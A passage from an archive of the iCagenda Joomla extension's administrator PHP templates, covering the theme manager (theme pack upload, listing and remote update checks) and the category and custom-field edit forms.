			JToolBarHelper::title('iCagenda - ' . JText::_('COM_ICAGENDA_THEME_MANAGER'), 'themes.png');
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_THEME_MANAGER') . '</span>', 'palette');
		}

		$icTitle = JText::_('COM_ICAGENDA_THEME_MANAGER');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename = $app->getCfg('sitename');
		$title = $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);
	}
}
com_icagenda/views/themes/tmpl/index.html000060400000000032152455305270014527 0ustar00<html><body></body></html>com_icagenda/views/themes/tmpl/default.php000060400000030144152455305270014676 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-23
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );

JHtml::_('behavior.framework');
JHtml::_('behavior.modal');

$app = JFactory::getApplication();
$document = JFactory::getDocument();

// Access Administration Registrations check.
if (JFactory::getUser()->authorise('icagenda.access.themes', 'com_icagenda'))
{
	// Check Theme Packs Compatibility
	if (class_exists('icagendaTheme')) icagendaTheme::checkThemePacks();

	$user	= JFactory::getUser();
	$userId	= $user->get('id');

	$params = JComponentHelper::getParams( 'com_icagenda' );
	$version = $params->get('version');
	?>

<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif;?>

		<!-- Begin Content -->
		<div class="row-fluid">
			<div class="span12">
				<div class="span6">
					<div style="background-color:#FFFFFF; border: 1px solid #D4D4D4; padding:30px; border-radius: 10px;">
						<form enctype="multipart/form-data" action="index.php" method="post" name="adminForm" id="themes-form" class="form-validate">
							<?php
							if (isset($this->require_ftp)) {
							echo iCagendaFileUpload::renderFTPaccess();
							}
							?>
							<div class="control-group">
								<label for="install_package"><b><?php echo JText::_( 'COM_ICAGENDA_UPLOAD_THEME_PACKAGE_FILE' ); ?></b></label>
								<div class="controls">
									<input type="file" id="sfile-upload" class="input" name="Filedata" />
									<button onclick="submitbutton()" class="btn btn-primary" id="upload-submit">
	<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
										<?php echo JText::_( 'COM_ICAGENDA_UPLOAD_AND_INSTALL' ); ?>
	<?php else : ?>
										<i class="icon-upload icon-white"></i> <?php echo JText::_( 'COM_ICAGENDA_UPLOAD_AND_INSTALL' ); ?>
	<?php endif; ?>
									</button>
								</div>
							</div>
							<input type="hidden" name="type" value="" />
							<input type="hidden" name="option" value="com_icagenda" />
							<input type="hidden" name="task" value="themes.themeinstall" />
							<?php echo JHTML::_( 'form.token' ); ?>
						</form>
					</div>
				</div>
				<div class="span1">
				</div>
				<div class="span5">
					<div style="float:right; padding:0px 0px 0px 20px;">
						<img src="../media/com_icagenda/images/logo_icagenda.png" alt="logo_icagenda" />
					</div>
					<div>
						<h2 style="font-size:2em;">
							<b style="color:#cc0000;">iC</b><b style="color: #666666;">agenda<sup style="font-size:0.6em">&trade;</sup></b><?php echo $version ;?>
						</h2>
					</div>
					<div>
						<h4>
							<?php echo JText::_('COM_ICAGENDA_THEME_MANAGER') ?> v1
						</h4>
					</div>
					<br/>
				</div>
			</div>
		</div>
		<div class="clearfix"> </div>

		<div class="row-fluid">
			<h2><?php echo JText::_('COM_ICAGENDA_THEMES_LIST_TITLE'); ?></h2>
			<div class="span12 small" style="margin-left: 0px">
				<?php

				$url=JPATH_SITE.DS.'components'.DS.'com_icagenda'.DS.'themes'.DS.'packs';
				$urlxml=JPATH_SITE.DS.'components'.DS.'com_icagenda'.DS.'themes/';

				$nb_themes = 0;

				function url_exists($url) {
					$a_url = parse_url($url);
					if (!isset($a_url['port'])) $a_url['port'] = 80;
					$errno = 0;
					$errstr = '';
					$timeout = 30;
					if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
						$fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
						if (!$fid) return false;
						$page = isset($a_url['path']) ?$a_url['path']:'';
						$page .= isset($a_url['query'])?'?'.$a_url['query']:'';
						fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
						$head = fread($fid, 4096);
						fclose($fid);
						return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
					} else {
						return false;
					}
				}

				if($dossier = opendir($url)) {
					while(false !== ($pack = readdir($dossier))) {
						if($pack != '.' && $pack != '..' && $pack != 'index.php' && $pack != 'index.html' && $pack != '.DS_Store' && $pack!='.thumbs') {
							$nb_themes++; // On incrémente le compteur de 1
							$xml = '.xml';
							$themeurl = $urlxml.$pack.$xml;

							$dom = new DomDocument;
							$dom->load($themeurl);

							$getthemeUpdate = $dom->getElementsByTagName('themeUpdate');
							foreach ($getthemeUpdate AS $themeUpdate)
							$themeUpdate = $themeUpdate->firstChild->nodeValue;
							$urltheme = $themeUpdate.'/'.$pack.'/update.xml';
							$unknown = JText::_('COM_ICAGENDA_THEME_UNKNOWN');

							// Test si fichier de mise à jour
							$urlex = $urltheme;

							if (url_exists($urlex))
							{
								// Récupération données fichier distant de MàJ
								$update = new DomDocument;
								$update->load($urltheme);

								$getUpdateversion = $update->getElementsByTagName('version');
								$getUpdatedownload = $update->getElementsByTagName('download');
								foreach ($getUpdateversion AS $Updatevers)
								foreach ($getUpdatedownload AS $download)
								$updateVersion = $Updatevers->firstChild->nodeValue;
								$updateDownload = $download->firstChild->nodeValue;
							}
							else
							{
								$updateVersion = $unknown;
								$updateDownload = '#';
							}


//							$getUpdatestatus = $dom->getElementsByTagName('status');

							// Récupération données fichier manifest install
							$getthemename = $dom->getElementsByTagName('name');
							$getversion = $dom->getElementsByTagName('version');
							$getcreationDate = $dom->getElementsByTagName('creationDate');
							$getauthor = $dom->getElementsByTagName('author');
							$getauthorEmail = $dom->getElementsByTagName('authorEmail');
							$getauthorWebsite = $dom->getElementsByTagName('authorWebsite');
							$getauthorUrl = $dom->getElementsByTagName('authorUrl');
							$getdescription = $dom->getElementsByTagName('description');

							// Conversion des données
							foreach ($getthemename AS $name)
//							foreach ($getUpdatestatus AS $status)
							foreach ($getversion AS $version)
							foreach ($getcreationDate AS $creationDate)
							foreach ($getauthor AS $author)
							foreach ($getauthorEmail AS $authorEmail)
							foreach ($getauthorWebsite AS $authorWebsite)
							foreach ($getauthorUrl AS $authorUrl)
							foreach ($getdescription AS $description)

							$authorWebsitetest = $authorWebsite->firstChild->nodeValue;

							// Affichage fiches Themes
							echo '<div class="span3" style="padding: 10px; margin:10px 20px 10px 0px; background: #D9D9D9; border-radius:10px;">';

								// Affichage Titre et Nom
								echo '<div style="text-align:center"><h4>' . $name->firstChild->nodeValue . ' <br><small>[&nbsp;<span style="color:grey">' . $pack . '</span>&nbsp;]</small></h4></div>';

								//Image Theme
								$urlimg		= '../components/com_icagenda/themes/packs';
								$thumb		= $urlimg.'/'.$pack.'/images/'.$pack.'_thumbnail.png';
								$preview	= $urlimg.'/'.$pack.'/images/'.$pack.'_preview.png';
								if (file_exists($thumb))
								{
									$img	= '<img width=280px height=160px src="'.$thumb.'" alt="">';
									if (file_exists($preview))
									{
										$imgtheme	= '<div style="text-align:center; max-width=280px"><a href="'.$preview.'" class="modal" title="'.JText::_('COM_ICAGENDA_CLICK_TO_ENLARGE').'">'.$img.'</a></div>';
									}
								} else {
									$imgtheme ='<div style="text-align:center; max-width=280px">'.JText::_('COM_ICAGENDA_THEME_NO_PREVIEW').'</div>';
								}

								echo $imgtheme;

								// Affichage Description
								echo '<p><div style="text-align:justify;"><i>' . $description->firstChild->nodeValue . '</i></div>';

								// Affichage Auteur
								echo '<div>'.JText::_('COM_ICAGENDA_THEME_AUTHOR').' : <a href="mailto:'.$authorEmail->firstChild->nodeValue.'">' . $author->firstChild->nodeValue . '</a></div>';

								// Affichage Site Auteur
								$authorWebsite = $authorWebsite->firstChild->nodeValue;
								if ($authorWebsite != NULL) {
									echo '<div>'.JText::_('COM_ICAGENDA_THEME_AUTHOR_WEBSITE').' : <a href="'.$authorUrl->firstChild->nodeValue.'" target="_blank">' . $authorWebsite . '</a></div>';
								}

								// Affichage Version installée
								echo '<div>'.JText::_('COM_ICAGENDA_THEME_INSTALLED_VERSION').' : ' . $version->firstChild->nodeValue . '</div>';

								// Affichage Dernière version publiée
								if (($updateVersion > $version->firstChild->nodeValue) && ($updateVersion != $unknown)) {
									echo '<div>'.JText::_('COM_ICAGENDA_THEME_LATEST_VERSION').' : ' . $updateVersion . '</div></p>';
								}

								echo '<p></p><div style="display:block; margin-left:auto; margin-right: auto;">';

									if (($updateVersion > $version->firstChild->nodeValue) && ($updateVersion != $unknown)) {
										echo '<a href="'.$updateDownload.'" target="_blank"><div class="btn_update">'.JText::_('COM_ICAGENDA_THEME_UPDATE').' ' . $updateVersion . ' !</div></a>';
									} elseif ($updateVersion == $unknown) {
										echo '<div style="text-align:center; background:#333333; padding:5px; border-radius:5px; color:#FFFFFF;">'.JText::_('COM_ICAGENDA_THEME_AUTHOR_CONTACT').'</div>';
									} else {
										echo '<div style="text-align:center; background:#FFFFFF; padding:5px; border-radius:5px;">'.JText::_('COM_ICAGENDA_THEME_LATEST').'</div>';
									}

								echo '</div>';
							echo '</div>';
							} // On ferme le if (qui permet de ne pas afficher index.php, etc.)

						} // On termine la boucle

						echo '<div style="clear: both;"></div>';

						echo '<div>&nbsp;</div>';

						echo '<div>' . JText::_('COM_ICAGENDA_THEME_NB_THEMES_1') . '<strong> ' . $nb_themes . ' </strong>' . JText::_('COM_ICAGENDA_THEME_NB_THEMES_2') .'</div>';
						echo '<div>&nbsp;</div>';

						closedir($dossier);

						} else {
							echo 'ERROR: Folder not opened!';
						}
						?>

			</div>

			<div class="span12" style="margin-left: 0px">
				<div class="span6">
					<div>
						<a href="http://icagenda.joomlic.com/resources/translations" target="_blank" class="btn"><?php echo JText::_('COM_ICAGENDA_PANEL_TRANSLATION_PACKS_DONWLOAD');?></a>
						<a href='http://www.joomlic.com/forum/icagenda'  target="_blank" class="btn"><?php echo JText::_('COM_ICAGENDA_PANEL_HELP_FORUM'); ?></a>
					</div>
				</div>
				<div class="span6">
				</div>
			</div>
		</div>
		<div class="clearfix"> </div>
	</div>


	<div class="row-fluid">
		<div class="span12">
		<hr>
			<div class="span9">
				Copyright ©2012-<?php echo date("Y"); ?> joomlic.com -&nbsp;
				<?php echo JText::_('COM_ICAGENDA_PANEL_COPYRIGHT');?>&nbsp;<a href="http://extensions.joomla.org/extensions/calendars-a-events/events/events-management/22013" target="_blank">Joomla! Extensions Directory</a>.
				<br />
				<br />
			</div>
			<div class="span3" style="text-align: right">
				<a href='http://www.joomlic.com' target='_blank'><img src="../media/com_icagenda/images/logo_joomlic.png" alt="JoomliC" border="0"/></a>
				<br />
				<i><b><?php echo JText::_('COM_ICAGENDA_PANEL_SITE_VISIT');?>&nbsp;<a href='http://www.joomlic.com' target='_blank'>www.joomlic.com</a></b></i>
			</div>
		</div>
	</div>

	<div class="clearfix"> </div>

	<?php
	// Joomla 2.5 CSS
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
		JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);
	}
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/category/index.html000060400000000032152455305270014103 0ustar00<html><body></body></html>com_icagenda/views/category/view.html.php000060400000007330152455305270014544 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.5 2013-11-09
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// iCagenda Class control (Joomla 2.5/3.x)
if(!class_exists('iCJView')) {
   if(version_compare(JVERSION,'3.0.0','ge')) {
      class iCJView extends JViewLegacy {
      };
   } else {
      jimport('joomla.application.component.view');
      class iCJView extends JView {};
   }
}

/**
 * View class Admin - Edit a Category - iCagenda
 */
class iCagendaViewCategory extends iCJView
{
	protected $state;
	protected $item;
	protected $form;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		$this->state	= $this->get('State');
		$this->item		= $this->get('Item');
		$this->form		= $this->get('Form');


		// Check for errors.
		if (count($errors = $this->get('Errors'))) {
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 */
	protected function addToolbar()
	{
		JRequest::setVar('hidemainmenu', true);

		$user		= JFactory::getUser();
		$isNew		= ($this->item->id == 0);
        if (isset($this->item->checked_out)) {
		    $checkedOut	= !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));
        } else {
            $checkedOut = false;
        }
		$canDo		= iCagendaHelper::getActions();

		//JToolBarHelper::title(JText::_('COM_ICAGENDA_TITLE_CATEGORY'), 'category.png');
		// Set Title
		if(version_compare(JVERSION, '3.0', 'lt')) {
			JToolBarHelper::title($isNew ? 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_NEW_CATEGORY') : 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_CATEGORY'), 'category.png');
		} else {
			JToolBarHelper::title($isNew ? 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_NEW_CATEGORY') . '</span>'  : 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_CATEGORY') . '</span>' , $isNew ? 'new' : 'pencil-2');
		}

		$icTitle = $isNew ? JText::_('COM_ICAGENDA_LEGEND_NEW_CATEGORY') : JText::_('COM_ICAGENDA_LEGEND_EDIT_CATEGORY');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename = $app->getCfg('sitename');
		$title = $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);

		// If not checked out, can save the item.
		if (!$checkedOut && ($canDo->get('core.edit')||($canDo->get('core.create'))))
		{

			JToolBarHelper::apply('category.apply', 'JTOOLBAR_APPLY');
			JToolBarHelper::save('category.save', 'JTOOLBAR_SAVE');
		}
		if (!$checkedOut && ($canDo->get('core.create'))){
			JToolBarHelper::custom('category.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
		}
		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create')) {
			JToolBarHelper::custom('category.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);
		}
		if (empty($this->item->id)) {
			JToolBarHelper::cancel('category.cancel', 'JTOOLBAR_CANCEL');
		}
		else {
			JToolBarHelper::cancel('category.cancel', 'JTOOLBAR_CLOSE');
		}

	}
}
com_icagenda/views/category/tmpl/edit.php000060400000023173152455305270014533 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-05-06
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');

$app = JFactory::getApplication();

// Access Administration Categories check.
if (JFactory::getUser()->authorise('icagenda.access.categories', 'com_icagenda'))
{
	$document			= JFactory::getDocument();
	$bootstrapType		= '1';
	$CategoryTag		='category';
	$CategoryTitle		= JText::_('COM_ICAGENDA_TITLE_CATEGORY', true);
	$DescTag			= 'desc';
	$DescTitle			= JText::_('COM_ICAGENDA_LEGEND_DESC', true);
	$PublishingTag		= 'publishing';
	$PublishingTitle	= JText::_('JGLOBAL_FIELDSET_PUBLISHING', true);

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		jimport('joomla.html.html.tabs');

		$iCmapDisplay		= '3';

		$icPanCategory		= JText::_('COM_ICAGENDA_TITLE_CATEGORY');
		$icPanDesc			= JText::_('COM_ICAGENDA_LEGEND_DESC');
		$icPanPublishing	= JText::_('JGLOBAL_FIELDSET_PUBLISHING');
		$startPane			= 'tabs.start';
		$addPanel			= 'tabs.panel';
		$endPanel			= 'tabs.end';
		$endPane			= 'tabs.end';
		$CategoryTag1		= $CategoryTag;
		$CategoryTag2		= $CategoryTitle;
		$DescTag1			= $DescTag;
		$DescTag2			= $DescTitle;
		$PublishingTag1		= $PublishingTag;
		$PublishingTag2		= $PublishingTitle;
	}

	// Joomla 3
	else
	{
		JHtml::_('formbehavior.chosen', 'select');
		jimport('joomla.html.html.bootstrap');

		$icPanCategory		= 'icTab';
		$icPanDesc			= 'icTab';
		$icPanPublishing	= 'icTab';

		if ($bootstrapType == '1')
		{
			$iCmapDisplay	= '1';
			$startPane		= 'bootstrap.startTabSet';
			$addPanel		= 'bootstrap.addTab';
			$endPanel		= 'bootstrap.endTab';
			$endPane		= 'bootstrap.endTabSet';
			$CategoryTag1	= $CategoryTag;
			$CategoryTag2	= $CategoryTitle;
			$DescTag1		= $DescTag;
			$DescTag2		= $DescTitle;
			$PublishingTag1	= $PublishingTag;
			$PublishingTag2	= $PublishingTitle;
		}
		elseif ($bootstrapType == '2')
		{
			$iCmapDisplay	= '2';
			$startPane		= 'bootstrap.startAccordion';
			$addPanel		= 'bootstrap.addSlide';
			$endPanel		= 'bootstrap.endSlide';
			$endPane		= 'bootstrap.endAccordion';
			$CategoryTag1	= $CategoryTitle;
			$CategoryTag2	= $CategoryTag;
			$DescTag1		= $DescTitle;
			$DescTag2		= $DescTag;
			$PublishingTag1	= $PublishingTitle;
			$PublishingTag2	= $PublishingTag;
		}
	}
	?>

	<script type="text/javascript">
		Joomla.submitbutton = function(task)
		{
			if (task == 'category.cancel' || document.formvalidator.isValid(document.id('category-form'))) {
				Joomla.submitform(task, document.getElementById('category-form'));
			}
			else {
				alert('<?php echo $this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
			}
		}
	</script>

<form action="<?php echo JRoute::_('index.php?option=com_icagenda&layout=edit&id='.(int) $this->item->id); ?>" method="post" name="adminForm" id="category-form" class="form-validate">
	<div class="container">

		<!-- iCheader top bar -->
		<!--div class="iCheader-top">
			<a href="#">
				<strong>&laquo; Previous </strong>event
			</a>
			<span class="right">
				<a href="#">
					<strong>Next</strong> event <strong>&raquo;</strong>
				</a>
			</span>
			<div class="clr"></div>
		</div-->
		<!--/ iCheader top bar -->


		<!-- iCagenda Header -->
		<header>
			<h1>
				<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_CATEGORY') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_CATEGORY', $this->item->id); ?>&nbsp;<span>iCagenda</span>
			</h1>
			<h2>
				<?php echo JText::_('COM_ICAGENDA_COMPONENT_DESC'); ?>
				<!--nav class="iCheader-videos">
					<span style="font-variant:small-caps">Tutorial Videos</span>
					<a href="#">Add a event</a>
					<a href="#">Video 2</a>
					<a href="#">Video 3</a>
				</nav-->
			</h2>
		</header>

		<div>&nbsp;</div>



		<!-- Begin Content -->
		<div class="row-fluid">
			<div class="span10 form-horizontal">

				<!-- Open Panel Set -->
				<?php echo JHtml::_($startPane, 'icTab', array('active' => 'category')); ?>

					<!-- Panel Event -->
					<?php echo JHtml::_($addPanel, $icPanCategory, $CategoryTag1, $CategoryTag2); ?>

						<div class="icpanel iCleft">
							<h1><?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_CATEGORY') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_CATEGORY', $this->item->id); ?></h1>
							<hr>
							<div class="row-fluid">
								<div class="span6 iCleft">
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('title'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('title'); ?>
										</div>
									</div>
								</div>
								<div class="span6 iCleft">
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('color'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('color'); ?>
										</div>
									</div>
								</div>
							</div>
						</div>


					<?php
					if(version_compare(JVERSION, '3.0', 'ge')) {
						echo JHtml::_($endPanel);
					}
					?>


					<!-- Panel Description -->
					<?php echo JHtml::_($addPanel, $icPanDesc, $DescTag1, $DescTag2); ?>

						<div class="icpanel iCleft">
							<h1><?php echo JText::_('COM_ICAGENDA_LEGEND_DESC'); ?></h1>
							<hr>
							<div class="row-fluid">
								<div class="span12 iCleft">
									<h3><?php echo JText::_('COM_ICAGENDA_FORM_DESC_CATEGORY_DESC'); ?></h3>
									<?php echo $this->form->getInput('desc'); ?>
								</div>
							</div>
						</div>


				<?php
				if(version_compare(JVERSION, '3.0', 'ge')) {
					echo JHtml::_($endPanel);
				}
				?>

				<?php
				echo JHtml::_($addPanel, $icPanPublishing, $PublishingTag1, $PublishingTag2);
				?>
				<div class="icpanel iCleft">
					<h1><?php echo JText::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></h1>
					<hr>
					<div class="row-fluid">
						<div class="span6 iCleft">
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('alias'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('alias'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('id'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('id'); ?>
								</div>
							</div>
							<!--div class="control-group">
								<?php echo $this->form->getLabel('created_by'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('created_by'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('created_by_alias'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('created_by_alias'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('created'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('created'); ?>
								</div>
							</div-->
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('checked_out'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('checked_out'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('checked_out_time'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('checked_out_time'); ?>
								</div>
							</div>
						</div>
					</div>
				</div>


				<?php echo JHtml::_($endPanel); ?>

				<?php echo JHtml::_($endPane, 'icTab'); ?>
			</div>

		<!-- Begin Sidebar -->
			<div class="span2 iCleft">
						<h4><?php echo JText::_('COM_ICAGENDA_TITLE_SIDEBAR_DETAILS'); ?></h4>
						<hr>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('state'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('state'); ?>
								</div>
							</div>
							<!--div class="control-group">
								<?php echo $this->form->getLabel('access'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('access'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('language'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('language'); ?>
								</div>
							</div-->
			</div>
		<!-- End Sidebar -->
		</div>

		<div class="clr"></div>

	</div>

	</div>

	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
	<div class="clr"></div>
</form>

	<?php
	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
		JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);
	}
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/category/tmpl/index.html000060400000000032152455305270015057 0ustar00<html><body></body></html>com_icagenda/views/customfield/tmpl/index.html000060400000000032152455305270015560 0ustar00<html><body></body></html>com_icagenda/views/customfield/tmpl/edit.php000060400000030725152455305270015235 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-05-06
 * @since		3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');

$app = JFactory::getApplication();
$document = JFactory::getDocument();

// Access Administration Categories check.
if (JFactory::getUser()->authorise('icagenda.access.customfields', 'com_icagenda'))
{
	$bootstrapType		= '1';
	$PanelOne_Tag		= 'customfield';
	$PanelOne_Title		= JText::_('COM_ICAGENDA_CUSTOMFIELD_PANEL_TITLE', true);
	$PanelTwo_Tag		= 'desc';
	$PanelTwo_Title		= JText::_('COM_ICAGENDA_LEGEND_DESC', true);
	$PublishingTag		= 'publishing';
	$PublishingTitle	= JText::_('JGLOBAL_FIELDSET_PUBLISHING', true);

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		jimport( 'joomla.html.html.tabs' );

		$iCmapDisplay		= '3';

		$icPanFirst			= JText::_('COM_ICAGENDA_CUSTOMFIELD_PANEL_TITLE');
		$icPanDesc			= JText::_('COM_ICAGENDA_LEGEND_DESC');
		$icPanPublishing	= JText::_('JGLOBAL_FIELDSET_PUBLISHING');
		$startPane			= 'tabs.start';
		$addPanel			= 'tabs.panel';
		$endPanel			= 'tabs.end';
		$endPane			= 'tabs.end';
		$PanelOne_Tag1		= $PanelOne_Tag;
		$PanelOne_Tag2		= $PanelOne_Title;
		$PanelTwo_Tag1		= $PanelTwo_Tag;
		$PanelTwo_Tag2		= $PanelTwo_Title;
		$PublishingTag1		= $PublishingTag;
		$PublishingTag2		= $PublishingTitle;
	}

	// Joomla 3
	else
	{
		JHtml::_('formbehavior.chosen', 'select');
		jimport('joomla.html.html.bootstrap');

		$icPanFirst			= 'icTab';
		$icPanDesc			= 'icTab';
		$icPanPublishing	= 'icTab';

		if ($bootstrapType == '1')
		{
			$iCmapDisplay	= '1';
			$startPane		= 'bootstrap.startTabSet';
			$addPanel		= 'bootstrap.addTab';
			$endPanel		= 'bootstrap.endTab';
			$endPane		= 'bootstrap.endTabSet';
			$PanelOne_Tag1	= $PanelOne_Tag;
			$PanelOne_Tag2	= $PanelOne_Title;
			$PanelTwo_Tag1	= $PanelTwo_Tag;
			$PanelTwo_Tag2	= $PanelTwo_Title;
			$PublishingTag1	= $PublishingTag;
			$PublishingTag2	= $PublishingTitle;
		}
		elseif ($bootstrapType == '2')
		{
			$iCmapDisplay	= '2';
			$startPane		= 'bootstrap.startAccordion';
			$addPanel		= 'bootstrap.addSlide';
			$endPanel		= 'bootstrap.endSlide';
			$endPane		= 'bootstrap.endAccordion';
			$PanelOne_Tag1	= $PanelOne_Title;
			$PanelOne_Tag2	= $PanelOne_Tag;
			$PanelTwo_Tag1	= $PanelTwo_Title;
			$PanelTwo_Tag2	= $PanelTwo_Tag;
			$PublishingTag1	= $PublishingTitle;
			$PublishingTag2	= $PublishingTag;
		}
	}
	?>

<script type="text/javascript">
	Joomla.submitbutton = function(task)
	{
		if (task == 'customfield.cancel' || document.formvalidator.isValid(document.id('customfield-form'))) {
			Joomla.submitform(task, document.getElementById('customfield-form'));
		}
		else {
			alert('<?php echo $this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
		}
	}
</script>

<form action="<?php echo JRoute::_('index.php?option=com_icagenda&layout=edit&id='.(int) $this->item->id); ?>" method="post" name="adminForm" id="customfield-form" class="form-validate">

	<div class="container">

		<!-- iCheader top bar -->
		<!--div class="iCheader-top">
			<a href="#">
				<strong>&laquo; Previous </strong>event
			</a>
			<span class="right">
				<a href="#">
					<strong>Next</strong> event <strong>&raquo;</strong>
				</a>
			</span>
			<div class="clr"></div>
		</div-->
		<!--/ iCheader top bar -->


		<!-- iCagenda Header -->
		<header>
			<h1>
				<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_NEW') : JText::sprintf('COM_ICAGENDA_CUSTOMFIELD_LEGEND_EDIT', $this->item->id); ?>&nbsp;<span>iCagenda</span>
			</h1>
			<h2>
